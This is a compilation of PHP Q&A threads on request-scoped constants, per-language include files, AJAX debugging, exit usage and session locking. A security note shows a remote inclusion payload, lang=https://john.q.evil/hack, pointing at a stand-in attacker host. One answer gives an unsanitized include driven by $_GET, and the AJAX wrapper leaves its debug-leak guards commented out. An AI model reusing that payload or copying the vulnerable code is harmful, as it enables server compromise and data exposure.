I'd like to know from a design POV whether changing the value of a constant per HTTP request is discouraged or perfectly ok.
I have a few constants that are defined at the start of a PHP script and they're used to figure out a particular context (what is the user trying to do at the time). The constants are never changed throughout the lifecycle of the script so they conform with the rules of constants and they work well. However, the values of these constants depends on what the user's doing. I'm wondering whether this is discouraged or perfectly acceptable in PHP.
<?php
// This function is only run once per HTTP request at the start
function new_paper() {
define('NEW_PAPER', 1);
define('NEW_VERSION', 0);
}
// This function is also only run once per HTTP request at the start
function new_paper_version() {
define('NEW_PAPER', 0);
define('NEW_VERSION', 1);
}
// This function is subsequently called by both functions above
function a_handler_of_sorts() {
if (NEW_PAPER) {
// Do something if it's a new paper
}
elseif (NEW_VERSION) {
// Do something if it's a new version
}
else {
}
}
In no circumstances are both new_paper() and new_paper_version() run in the same HTTP request.
A typical use case would be something like:
define('DEBUG', !empty($_GET['debug']));
if (DEBUG) echo 'some debugging statement';
Obviously don't do this only based on a query parameter, especially not in production, but you get the idea.
So, yes, setting constant values based on the request is fine. Whether this is the best thing to do in your particular case is questionable and I don't know. I'd really reserve it for "meta" values like debug flags, not for values which are essentially function parameters, inputs for your business logic. Do this sparingly.
"Constant values" which influence how every script works independently of the request would be something like config files or environment variables, e.g. containing database access credentials and such.
Constants should not change during the request but as you said yours don't so I think you're OK there.
They represent fixed things such as how many DB connections are allowed, the name of the application etc. If you're trying to use them to store the state of your application then you could consider doing something like:
<?php
define('STATE_PAPER', 0);
define('STATE_VERSION', 1);
define('STATE_INVALID', 2);
$applicationState = null;
if (someCheckForPaper() === true) {
$applicationState = NEW_PAPER;
} else if (someCheckForVersion() === true) {
$applicationState = NEW_VERSION;
} else {
$applicationState = STATE_INVALID;
}
// Save $applicationState somewhere... maybe session?
// Somewhere else
if ($applicationState === STATE_PAPER) {
...
}
Related
I have two PHP files - en.php and fr.php. One contains variables in English the other, in French. And I have to use the needed file based on the URL. For example, if the URL ends in ?lang=en I have to use the English one and vice versa. I am really new to PHP so that is why I'm asking here. Thanks!
Simple way
You keep the files in a specific directory, or strictly check the filename syntax.
This is because including the variables using require or include will execute a file that might be on another server, under someone else's control (see below, 'injection') under the security context of your web server. You so do not want this to happen, that it isn't funny. So: check the file name.
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
$lang = $test;
}
}
}
// Finally include the file.
include_once("{$lang}.php");
Remembering last used language
session_start();
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
...as before...
$lang = $test;
$_SESSION['lang'] = $lang;
} else {
if (array_key_exists('lang', $_SESSION)) {
$lang = $_SESSION['lang'];
}
}
// Finally include the file.
include_once("{$lang}.php");
More advanced: use a function to accept the language.
function validLanguage($test) {
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
return $test;
}
}
return null;
}
Now read it from browser.
PHP has a function to detect what language the browser is requiring.
$languages = array();
$languages[] = 'en'; // Default, with lowest priority
// Note: "en" default is not guaranteed to exist. You must ensure it does.
// Browser choice, with more priority than default
if (class_exists('Locale')) {
$locale = Locale::acceptFromHTTP($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if ($locale !== null) {
$test = substr($locale, 0, 2);
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
}
// Session, with more priority
if (array_key_exists('lang', $_SESSION)) {
$languages[] = $_SESSION['lang'];
}
// Language selected, with even more priority
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
// Pop best choice for language
$lang = array_pop($languages);
// Remember for the next time
$_SESSION['lang'] = $lang;
// Finally include the appropriate file.
include_once("{$lang}.php");
Apache mod_rewrite
With more experience, you can, even afterwards, make it so requesting https://yoursite.com/en/anypage.php will actually be equivalent to requesting the ordinary https://yoursite.com/anypage.php?lang=en using Apache server's mod_rewrite facility, if you have it installed and activated, achieving more user- and SEO- friendly URLs. More details in this answer.
Doing this another way: using locale()
For the reasons detailed farther below, using include is not a very good idea after all. But usually you do this because you have something like
print "<h1>{$welcomeMessage}, {$username}!</h1>";
and you want to be able to say "Hello, John!" or "Bonjour, John!" or "Ciao, John", depending.
In PHP you can do this in several ways. One of the more robust is through gettext. This requires you to rewrite the above code like this - note that "_" is a valid function name! - ...
print "<h1>" . _('WELCOME_MESSAGE') .", {$username}!</h1>";
and then maintain a special file called a pofile that the underscore system can use.
This has several advantages in terms of memory usage and speed, and for professional usage also, since you can send an English pofile to, say, a Russian professional translator and they will (usually) be able to use it straight away with less hassle, more easily and hence for less money, so you will be able to purchase the appropriate pofile which - once uploaded - will translate your site (or the key parts of it) to Russian. You can even let your website owner (if you're a third-party developer) supply their own pofiles.
The job of using the gettext framework can be made less awkward with this trick: tell PHP beforehand that whatever is output must pass through a filter function.
ob_start('my_translate');
And this function will parse the argument looking for specific telltales that some text needs translating, and if so, return its translation:
function my_translate($text) {
// I will translate ??CAPITAL_STRINGS_IN_DOUBLE_QUESTI1MARKS??
$telltale = '#\?\?([A-Z][A-Z_0-9]+)\?\?#';
return preg_replace_callback(
$telltale,
function ($matches) {
return _($matches[1]);
}
$text
);
}
So now your PHP code becomes
print "<h1>??WELCOME?? {$username}!</h1>";
and instead of include("{$lang}.php") you would have a more complicated sequence, but you need it only in the one place:
// To guess actual OS, see this answer:
// https://stackoverflow.com/Questions/1482260/how-to-get-the-os-on-which-php-is-running
if ('Linux' === PHP_OS) {
setlocale(LC_MESSAGES, $lang);
} else {
putenv("LC_ALL={$lang}");
}
bindtextdomain('website', 'translations');
textdomain('website');
Also, you need to place the appropriate files in the "./translations" directory. In this example, $lang is a bit more complicated since it has to adhere to the "locale" syntax - so it would be "fr_FR" instead of "fr".
Security note about PHP code injection
Imagine that your server isn't very much hardened (many aren't; you'd be surprised). And the name of the desired language was not checked or sanitized. And I, John Q. Evil, have reason to suspect this might be the case. Or just want to check it out. I see "lang=en", I know what's going on.
So I prepare a PHP script on my server and prepare it to be served without being interpreted; accessing https://john.q.evil/hack.php will show you a PHP script complete with <?php start tags.
Then I access your site, and specify lang=https://john.q.evil/hack. Your web server obediently downloads and executes my code. My code, in turn, performs some diagnostics, determines that it's running on a Whateverix 5 server on an ARM CPU as user daemon, and downloads another binary optimized for the Whateverix OS on ARM7 in unprivileged context. Then executes it with shell_exec or in one of many other available ways. A few seconds later, your web server starts, say, mining cryptocoins to one of my disposable and deniable e-wallets.
This scenario is called a remote inclusion attack and is totally possible, and as to why should someone go to all this trouble on pretty little unknown me?, well, the answer is indeed that they wouldn't. But that because they wouldn't need to, not personally, not intentionally. They would instead deploy a crawler bot designed to efficiently locate all web servers that might be exploitable in such a way, and catch them all.
Why? Well, if I could infect, say, one thousand web servers, I could realistically siphon 15-20 watts of computing power from each of them without getting too much noticed. For free. At the end of a year, that should translate to around 2000 US dollars I cash having done absolutely nothing more than the initial setup. But the number of potential vulnerable websites is much more than a paltry one thousand. Attaining the 20,000 infected websites goal would begin to be a lucrative paying job (40K/yr), and tax-free to boot.
That's why miner malware is an industry, and this is why you need to always sanitize your inputs.
You can do something like that:
$lang = "en"; //default languague
if(isset($_GET['lang'])) {
$lang = $_GET['lang'];
}
require_once($lang.".php");
There's a lot of code in each file, too much to post, so I'm giving you a general idea of what's happening in each file.
index.php
[html dropdown menu code etc.]
scripts.js
[AJAX detects user selection from dropdown, grabs fetch.php which pulls database to generate html code for secondary dropdown selections to put in index.php]
fetch.php
[Generates secondary dropdown code based on user selection and query of the database]
I need to see what exactly is being queried to debug, so I'd like to echo the sql select statement:
$query = "SELECT * FROM databasename WHERE.."
That is in fetch.php when user makes a selection from index.php - How do I do this?
When I deal with AJAX, that I return as JSON, one trick I use is to take advantage of output buffering. You can't just echo or output anything you want because it will mess up the JSON data so for an example,
ob_start(); //turn on buffering at beginning of script.
.... other code ...
print_r($somevar);
.... other code ...
$debug = ob_get_clean(); //put output in a var
$data['debug'] = $debug;
header('Content-Type: application/json');
echo json_encode($data); //echo JSON data.
What this does, is wrap any output from you script into your JSON data so that it's format is not messed up.
Then on the javascript side you can use console.log
$.post(url, input, function(data){
if(data.debug) console.log(data.debug);
});
If you are not used to debugging with console.log(), you can usually hit F12 and open the debugger in most browsers. Then in there the output will be sent to the "console". IE9 had a bit of an issue with console.log() if I recall, but I don't want to go to far off track.
NOTE: Just make sure to not leave this stuff in the code when you move it to production, its very simple to just comment this line out,
//$data['debug'] = $debug;
And then your debug information wont be exposed in production. There are other ways to automatically do this, but it depends on if you do development local then publish to the server. For example you can switch it on the $_SERVER['SERVER_ADDR']; which will be ::1 or 127.0.0.1 when it's local. This has a few drawbacks, mainly the server address is not available from the Command Line Interface (CLI). So typically I will tie it into a global constant that says what "mode" the site is in (included in the common entry point, typically index.php).
if(!defined('ENV_DEVELOPMENT')) define('ENV_DEVELOPMENT','DEVELOPMENT');
if(!defined('ENV_PRODUCTION')) define('ENV_PRODUCTION','PRODUCTION');
if(!defined('ENVIRONMENT')) define('ENVIRONMENT',ENV_DEVELOPMENT);
//site is in Development mode, uncomment for production
//if(!defined('ENVIRONMENT')) define('ENVIRONMENT',ENV_DEVELOPMENT);
Then it is a simple matter to check it:
if(ENVIRONMENT == ENV_PRODUCTION ) $data['debug'] = $debug;
If you know how to use error reporting you can even tie into that using
if(ini_get('display_errors') == 1) $data['debug'] = $debug;
Which will only show the debug when display errors is on.
Hope that helps.
UPDATE
Because I mentioned it in the comments, here is an example of it wrapped in a class (this is a simplified version, so I didn't test this)
class LibAjax{
public static function respond($callback, $options=0, $depth=32){
$result = ['userdata' => [
'debug' => false,
'error' => false
]];
ob_start();
try{
if(!is_callable($callback)){
//I have better exception in mine, this is just more portable
throw new Exception('Callback is not callable');
}
$callback($result);
}catch(\Exception $e){
//example 'Exception[code:401]'
$result['userdata']['error'] = get_class($e).'[code:'.$e->getCode().']';
//if(ENVIRONMENT == ENV_DEVELOPMENT){
//prevents leaking data in production
$result['userdata']['error'] .= ' '.$e->getMessage();
$result['userdata']['error'] .= PHP_EOL.$e->getTraceAsString();
//}
}
$debug = '';
for($i=0; $i < ob_get_level(); $i++){
//clear any nested output buffers
$debug .= ob_get_clean();
}
//if(ENVIRONMENT == ENV_DEVELPMENT){
//prevents leaking data in production
$result['userdata']['debug'] = $debug;
//}
header('Content-Type: application/json');
echo self::jsonEncode($result, $options, $depth);
}
public static function jsonEncode($result, $options=0, $depth=32){
$json = json_encode($result, $options, $depth);
if(JSON_ERROR_NONE !== json_last_error()){
//debug is not passed in this case, because you cannot be sure that, that was not what caused the error. Such as non-valid UTF-8 in the debug string, depth limit, etc...
$json = json_encode(['userdata' => [
'debug' => false,
'error' => json_last_error_msg()
]],$options);
}
return $json;
}
}
Then when you make a AJAX response you just wrap it like this (note $result is pass by reference, this way we don't have to do return, and in the case of an exception we update $result in "real time" instead of on completion)
LibAjax::respond( function(&$result){
$result['data'] = 'foo';
});
If you need to pass additional data into the closure don't forget you can use the use statement, like this.
$otherdata = 'bar';
LibAjax::respond( function(&$result) use($otherdata){
$result['data'][] = 'foo';
$result['data'][] = $otherdata;
});
Sandbox
This handles catching any output and puts it in debug, if the environment is correct (commented out). Please pleas make sure to implement some kind of protection so that the output is not sent to clients on production, I cant stress that enough. It also catches any exceptions puts it in error. And it also handles the header and encoding.
One big benefit to this is consistent structure to your JSON, you will know (on the client side) that if if(data.userdata.error) then you have an exception on the back end. It gives you one place to tweak your headers, JSON encoding etc...
One note in PHP7 you'll have to or should add the Throwable interface (instead of Exception). If you want to catch Error and Exception classes Or do two catch blocks.
Let's just say I do a lot of AJAX and got sick of re-writing this all the time, my actual class is more extensive then this, but that's the gist of it.
Cheers.
UPDATE1
One thing I had to do for things to display was to parse the data variable before I console.log() it
This is typically because you are not passing the correct header back to the browser. If you send (just before calling json_encode)
header('Content-Type: application/json');
This just lets the browser know what type of data it is getting back. One thing most people forget is that on the web all responses are done in text. Even images or file download and web pages. It's all just text, what makes that text into something special is the Content-Type that the browser thinks it is.
One thing to note about header is you cannot output anything before sending the headers. However this plays well with the code I posted because that code will capture all the output and send it after the header is sent.
I updated the original code to have the header, I had it in the more complex class one I posted later. But if you add that in it should get rid of the need to manually parse the JSON.
One last thing I should mention I do is check if I got JSON back or text, you could still get text in the event that some error occurs before the output buffering is started.
There are 2 ways to do this.
If Data is a string that needs to be parsed
$.post(url, {}, function(data){
if( typeof data == 'string'){
try{
data = $.parseJSON(data);
}catch(err){
data = {userdata : {error : data}};
}
}
if(data.userdata){
if( data.userdata.error){
//...etc.
}
}
//....
}
Or if you have the header and its always JSON, then its a bit simpler
$.post(url, {}, function(data){
if( typeof data == 'string'){
data = {userdata : {error : data}};
}
if(data.userdata){
if( data.userdata.error){
//...etc.
}
}
//....
}
Hope that helps!
UPDATE2
Because this topic comes up a lot, I put a modified version of the above code on my GitHub you can find it here.
https://github.com/ArtisticPhoenix/MISC/blob/master/AjaxWrapper/AjaxWrapper.php
Echo the contents and do a die() or exit; afterwards... then in the Network tab of your browser, start it recording, run the Ajax request (it'll fail) but check the resource/name and then view the Response, and it'll show you what was echo'd in the script
Taken from: Request Monitoring in Chrome
Chrome currently has a solution built in.
Use CTRL+SHIFT+I (or navigate to Current Page Control > Developer > Developer Tools.
In the newer versions of Chrome, click the Wrench icon > Tools > Developer Tools.) to enable the Developer Tools.
From within the developer tools click on the Network button. If it isn't already, enable it for the session or always.
Click the "XHR" sub-button.
Initiate an AJAX call.
You will see items begin to show up in the left column under "Resources".
Click the resource and there are 2 tabs showing the headers and return content.
Other browsers also have a Network tab, but you will need to use what I commented to get the string value of the query.
ArtisticPhoenix solution above is delightful.
Is it ok to include a break or exit command to prevent further code from executing or is this bad programming?
function index()
{
$error = NULL;
if ($_POST){
// validate form
if ($form_validated) {
echo 'this content only';
exit; // or return IS THIS BAD???
} else {
$error = 'form failed';
}
}
echo 'normal page on initial load';
if ($error) { echo '<br />'.$error; }
}
It is OK to prevent further code from executing using exit.
Having said that, whether this is the best way to do it in this particular example is debatable. It is typical to use exit when issuing redirects:
header('Location: /foo');
exit;
In your case, there doesn't seem to be an immediate need to stop the program execution in mid run. You should rather structure your program flow so it always completes, but with different results. It is hard to follow program logic which may terminate somewhere in the middle, so a more logical flow that returns from functions or branches using if..else is usually preferable.
For the example you give:
function index()
{
...
if ($form_validated) {
echo 'this content only';
exit; // or return IS THIS BAD???
} else {
...
}
This is normally called early exit or early return (return is more common). This can be very okay, some people say that early returns make code hard to understand but I'd say it depends on a lot more if a function can be easily read and understood or not.
So the person who decides here whether it is bad or not is you. You need to find some criteria on your own where you draw the line. For example if a function is long (more than 12 lines of code) and contains many of these early returns or even exits, this will make the code more complicated.
Generally early returns can make a functions code less complex which can heavily reduce the number of bugs.
So probably the complexity is a good criteria here.
Additionally I suggest you use exit very carefully. It does much at once and you should normally not need it within your program flow. Especially if you're writing business logic.
Is it a good or bad practice to authenticate and then just exit() the function or to wrap the whole result of the authentication in an if statement? Example
function foo($uid)
{
$allowed = $auth->checkIfAllowed($uid);
if ($allowed == false) exit();
//continue with senstive code here
}
}
OR
function foo($uid)
{
$allowed = $auth->checkIfAllowed($uid);
if ($allowed == true)
{
// do sensitive stuff
}
}
I would like to take this opportunity to talk about exit; (as others have stated both work, the second is more explicit then the first, and give you the opportunity to send a nice error message to the user). My main beef (I have several with exit;) is that people should stop using it in libraries, i.e. code that can/will be used in other projects... You know how irritating it is to debug those? Throw exceptions, trigger fatal errors, but give me something with a description.
/rant
Your examples are equivalent.
However, it's not usually useful to the end user to just exit the script abruptly. Instead, send your user a useful error message printed in HTML rather than the plain text you would get from a die() call, for example.
function foo($uid)
{
$allowed = $auth->checkIfAllowed($uid);
if ($allowed == false)
{
$errormsg = "You are not allowed to view this page";
}
else
{
//continue with senstive code here
}
}
Later, print the error in HTML, rather than just aborting the script:
<div class='error'><?php echo $errormsg; ?></error>
Either or. I don't think it'll make a difference. It relatively the exact same thing. In programming there are many ways to program things, never on right way in most instances.
They are absolutely the same. The indentation and coding style is the only difference. In both cases the sensitive code won't execute unless the authentication is done successfully.
It's usually better to be expressive in your code though, so I'd recommend the second method.
I have several time consuming database queries to run. Each has been built to be triggered from an option chosen on a web page. I thought I was being quite cunning by firing off the work via several AJAX requests.
I presumed that multiple requests would be split over multiple processes/threads meaning the work would be completed relatively quickly for the user.
However, the requests seem to be processed in serial, meaning that no speed benefit is felt by the user.
Worse still, AJAX requests to update the page also wait in line, meaning they fail to respond until the previous requests have all completed.
I have read that this may be caused by the PHP sessions being locked.
What is the usual approach for this kind of issue?
Is there a way to force AJAX requests to work asynchronously?
Can I stop PHP from locking the sessions?
Should I use a seperate process via cron to fire background workings?
Thanks!
NB This project has been built using the symfony framework.
AJAX uses jQuery
// Get the content
$.get('/ajax/itemInformation/slug/'+slug, function(data) {
$('#modal-more-information').html(data);
});
If you are using sessions at all during any of the given AJAX requests, they will effectively execute serially, in order of request. This is due to locking of the session data file at the operating system level. The key to getting those requests to be asynchronous is to close (or never start) the session as quickly as possible.
You can use session_write_close (docs) to close the session as soon as possible. I like to use a couple of helper functions for this, the set_session_var function below will open the session, write the var, then close the session - in and out as quickly as possible. When the page loads, you can call session_start to get the $_SESSION variable populated, then immediately call session_write_close. From then on out, only use the set function below to write.
The get function is completely optional, since you could simply refer to the $_SESSION global, but I like to use this because it provides for a default value and I can have one less ternary in the main body of the code.
function get_session_var($key=false, $default=null) {
if ($key == false || strlen($key) < 0)
return false;
if (isset($_SESSION[$key]))
$ret = $_SESSION[$key];
else
$ret = $default;
return $ret;
}
function set_session_var($key=false, $value=null) {
if ($key == false || strlen($key) < 0)
return false;
session_start();
if ($value === null)
unset($_SESSION[$key]);
else
$_SESSION[$key] = $value;
session_write_close();
}
Be aware that there are a whole new set of considerations once the AJAX requests are truly asynchronous. Now you have to watch out for race conditions (you have to be wary of one request setting a variable that can impact another request) - for you see, with the sessions closed, one request's changes to $_SESSION will not be visible to another request until it rebuilds the values. You can help avoid this by "rebuilding" the $_SESSION variable immediately before a critical use:
function rebuild_session() {
session_start();
session_write_close();
}
... but this is still susceptible to a race condition.